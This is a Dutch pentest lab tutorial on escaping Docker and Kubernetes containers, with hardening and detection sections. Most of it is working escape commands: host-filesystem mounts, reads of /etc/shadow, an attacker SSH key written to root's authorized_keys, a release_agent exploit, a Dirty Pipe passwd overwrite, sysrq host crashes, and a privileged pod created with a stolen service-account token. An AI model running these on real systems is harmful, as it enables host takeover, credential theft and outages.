Container Escape Lab
In deze tutorial oefen je vier methoden om uit een Docker-container te ontsnappen naar het hostsysteem. Elke methode exploiteert een andere misconfiguratie.
Lab opzetten
We gebruiken Docker om kwetsbare containers te starten. Elk scenario simuleert een andere misconfiguratie die je in productie kunt tegenkomen.
# Scenario 1: Privileged container
docker run --rm -it --privileged ubuntu:latest bash
# Scenario 2: Docker socket mount
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest bash
# Scenario 3: HostPID namespace
docker run --rm -it --pid=host ubuntu:latest bash
# Scenario 4: Niet-privileged maar met SYS_ADMIN capability
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:latest bash
Stap 0: Zit ik in een container?
Voordat je kunt ontsnappen, moet je weten dat je opgesloten zit. Hier zijn de tekenen:
# Test 1: .dockerenv bestand
ls -la /.dockerenv
# Bestaat? Je zit in Docker.
# Test 2: Cgroup informatie
cat /proc/1/cgroup
# Als je "docker", "containerd" of een hash ziet: container
# Test 3: PID 1 is niet systemd/init
cat /proc/1/sched | head -1
# "bash" of "sleep" in plaats van "systemd"? Container.
# Test 4: Beperkt aantal processen
ps aux | wc -l
# Minder dan 20? Waarschijnlijk een container.
# Test 5: Hostname
hostname
# Een willekeurige hexadecimale string (bijv. a1b2c3d4e5f6)? Container.
# Test 6: Mount punten
mount | grep -E "overlay|aufs"
# Overlay filesystem? Docker.
Escape 1: Privileged container
Een privileged container heeft alle Linux capabilities en toegang tot alle devices op de host. Het is de meest directe weg naar buiten.
# Verifieer dat je privileged bent
cat /proc/1/status | grep CapEff
# CapEff: 000001ffffffffff = alle capabilities
# Methode A: Mount het host filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Of: mount /dev/nvme0n1p1 /mnt/host (voor NVMe schijven)
# Je hebt nu toegang tot het hele hostsysteem
ls /mnt/host/etc/
cat /mnt/host/etc/shadow
cat /mnt/host/root/.ssh/authorized_keys
# Schrijf een SSH key naar de host
echo "ssh-rsa AAAA... attacker@kali" >> /mnt/host/root/.ssh/authorized_keys
# SSH naar de host (vanuit een andere terminal)
ssh root@HOST_IP
# Methode B: chroot naar het host filesystem
chroot /mnt/host /bin/bash
# Je bent nu effectief root op de host
Escape 2: Docker socket mount
Als /var/run/docker.sock gemount is in de container, kun je de Docker daemon van de host aansturen. Dit is alsof je vanuit je cel de sleutel van alle cellen kunt bedienen.
# Check of de socket beschikbaar is
ls -la /var/run/docker.sock
# Installeer Docker CLI (of gebruik curl)
apt update && apt install -y docker.io
# Bekijk alle containers op de host
docker ps
# Start een nieuwe container met het host filesystem gemount
docker run -v /:/host --rm -it ubuntu:latest chroot /host bash
# Je bent nu root op de host
id # uid=0(root)
cat /etc/shadow
# Of: voer direct een commando uit op de host
docker run -v /:/host --rm ubuntu:latest cat /host/etc/shadow
Escape 3: HostPID namespace
Met --pid=host deelt de container het PID-namespace met de host. Je kunt alle processen op de host zien, en — crucialer — je kunt nsenter gebruiken om naar het host-namespace te springen.
# Verifieer dat je het host PID namespace deelt
ps aux | wc -l # Veel meer processen dan normaal in een container
ps aux | grep sshd # Je ziet host-processen
# nsenter: spring naar het namespace van PID 1 (de host's init)
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Je bent nu root op de host
hostname # Toont de hostnaam van de host, niet de container
id # uid=0(root)
ip addr # Toont de host's netwerk interfaces
Escape 4: Release agent (cgroups v1)
Deze methode werkt in niet-privileged containers die de SYS_ADMIN capability hebben. Het exploiteert het cgroups v1 release_agent mechanisme.
# Stap 1: Maak een nieuwe cgroup en configureer de release agent
d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null | head -n1))
if [ -z "$d" ]; then
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup -o memory cgroup /tmp/cgrp
d=/tmp/cgrp
fi
mkdir -p $d/exploit
echo 1 > $d/exploit/notify_on_release
# Stap 2: Vind het host-pad naar de container
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# Stap 3: Schrijf het commando dat op de host uitgevoerd moet worden
echo "$host_path/cmd" > $d/release_agent
cat > /cmd <<'SCRIPT'
#!/bin/sh
cat /etc/shadow > /output
SCRIPT
chmod +x /cmd
# Stap 4: Trigger de release agent
sh -c "echo \$\$ > $d/exploit/cgroup.procs"
# Stap 5: Lees de output
sleep 1
cat /output
Hardening checklist
Elke escape die je hebt geoefend correspondeert met een misconfiguratie die je kunt voorkomen:
| Escape | Oorzaak | Preventie |
|---|---|---|
| Privileged | --privileged flag | Nooit in productie. Gebruik specifieke capabilities. |
| Docker socket | Socket mount in container | Gebruik een read-only Docker API proxy of vermijd volledig. |
| HostPID | --pid=host | Gebruik alleen als strikt noodzakelijk (monitoring). |
| Release agent | SYS_ADMIN capability | Drop alle onnodige capabilities. Gebruik seccomp profielen. |
# Veilige container configuratie:
docker run \
--read-only \
--tmpfs /tmp \
--cap-drop ALL \
--security-opt no-new-privileges \
--security-opt seccomp=default.json \
--user 1000:1000 \
my-app:latest
Extra escape technieken
Escape 5: /proc/sysrq-trigger
Als de container toegang heeft tot /proc/sysrq-trigger (wat het geval is in privileged containers), kun je de host direct beïnvloeden:
# WAARSCHUWING: dit veroorzaakt een kernel panic op de host
# Gebruik dit ALLEEN in een lab-omgeving
echo b > /proc/sysrq-trigger # Reboot de host
echo c > /proc/sysrq-trigger # Kernel crash/panic
# Minder destructief: geheugen-info lekken
echo m > /proc/sysrq-trigger # Dump geheugeninformatie naar kernel log
dmesg | tail -50 # Lees kernel log (als /dev/kmsg beschikbaar is)
Escape 6: Specifieke capabilities exploiteren
# Check welke capabilities je hebt
cat /proc/1/status | grep Cap
capsh --print
# CAP_DAC_READ_SEARCH: lees elk bestand op het hostsysteem
# Zonder de host filesystem te mounten!
# Gebruik open_by_handle_at() syscall
# Tool: shocker.c (https://github.com/gabbbe/shocker)
gcc -o shocker shocker.c
./shocker /etc/shadow
# CAP_SYS_PTRACE: attach aan hostprocessen
# Als je hostPID hebt + CAP_SYS_PTRACE:
# Injecteer code in een hostproces via ptrace
nsenter --target $(pgrep -o nginx) --mount --net -- /bin/bash
# CAP_NET_RAW: raw sockets
# ARP spoofing, packet sniffing vanuit de container
tcpdump -i eth0 -w capture.pcap
Escape 7: Kernel exploits
Als geen van de bovenstaande methoden werkt, maar de host-kernel kwetsbaar is, kun je een kernel-exploit gebruiken. De container deelt de kernel met de host — een kernel-exploit in de container is een kernel-exploit op de host.
# Check kernel versie
uname -r
# Bekende container-relevante kernel exploits:
# CVE-2022-0185 (Linux 5.1+): heap overflow in filesystem context
# CVE-2022-0847 (Dirty Pipe, Linux 5.8+): overschrijf read-only bestanden
# CVE-2021-22555 (Netfilter): privilege escalation via Netfilter
# Dirty Pipe voorbeeld (CVE-2022-0847):
# Als kernel < 5.16.11 / 5.15.25 / 5.10.102:
gcc -o dirtypipe dirtypipe.c
./dirtypipe /etc/passwd 1 "root::0:0::/root:/bin/bash"
# Root wachtwoord is nu leeg op de HOST
su root # Geen wachtwoord nodig
Container Reconnaissance Checklist
Voordat je een escape-methode kiest, verzamel je informatie over je omgeving:
#!/bin/bash
echo "=== Container Recon ==="
echo "[*] Hostname:" $(hostname)
echo "[*] Kernel:" $(uname -r)
echo "[*] OS:" $(cat /etc/os-release 2>/dev/null | grep PRETTY_NAME | cut -d'"' -f2)
echo "[*] Capabilities:"
cat /proc/1/status | grep -i cap
echo "[*] Mounts:"
mount | grep -v "proc\|sys\|cgroup" | head -10
echo "[*] Docker socket:"
ls -la /var/run/docker.sock 2>/dev/null && echo "FOUND" || echo "Not found"
echo "[*] .dockerenv:"
ls /.dockerenv 2>/dev/null && echo "FOUND" || echo "Not found"
echo "[*] ServiceAccount:"
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null && echo "K8s pod" || echo "Not K8s"
echo "[*] Host PID namespace:"
ps aux 2>/dev/null | wc -l | awk '{if ($1 > 30) print "Likely hostPID"; else print "Container PID namespace"}'
echo "[*] Privileged:"
if [ -w /dev/sda ] 2>/dev/null; then echo "PRIVILEGED"; else echo "Not privileged"; fi
echo "[*] Writable directories:"
find / -writable -type d 2>/dev/null | grep -v "proc\|sys\|dev" | head -10
echo "[*] Network:"
ip addr 2>/dev/null || ifconfig 2>/dev/null
cat /etc/resolv.conf
echo "[*] Environment secrets:"
env | grep -i "pass\|secret\|key\|token\|api" 2>/dev/null
Container escapes in Kubernetes
In Kubernetes-omgevingen heb je extra aanvalsvectoren naast de standaard Docker escapes:
# 1. ServiceAccount token misbruiken
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
# Check rechten
curl -sk -H "Authorization: Bearer $TOKEN" \
"$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-X POST -H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'
# 2. Maak een privileged pod als je create-rechten hebt
cat > escape-pod.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: escape
spec:
containers:
- name: escape
image: ubuntu
command: ["/bin/bash", "-c", "sleep infinity"]
securityContext:
privileged: true
volumeMounts:
- name: hostfs
mountPath: /host
volumes:
- name: hostfs
hostPath:
path: /
hostPID: true
hostNetwork: true
EOF
# Upload en start de pod via de API
curl -sk -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/default/pods" \
-X POST -H "Content-Type: application/yaml" \
--data-binary @escape-pod.yaml
# Exec in de escape pod
curl -sk -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/default/pods/escape/exec?command=/bin/bash&stdin=true&stdout=true&tty=true" \
-X POST -H "Content-Type: application/json" -d '{}'
Detectie: hoe worden container escapes ontdekt?
Als pentester wil je weten wat het SOC kan zien. Hier zijn de indicators die een goede monitoring oplossing detecteert:
| Escape methode | Detection indicator |
|---|---|
| Privileged mount | Syscall: mount vanuit een container PID |
| Docker socket | API-calls naar /var/run/docker.sock |
| HostPID nsenter | Syscall: setns naar een ander namespace |
| Release agent | Schrijven naar release_agent in cgroup |
| K8s SA misbruik | Onverwachte API-calls vanuit pod SA’s |
Tools als Falco, Sysdig en Aqua Security monitoren deze syscalls en API-calls real-time. In een red team engagement wil je weten of deze tools actief zijn vóórdat je een escape probeert.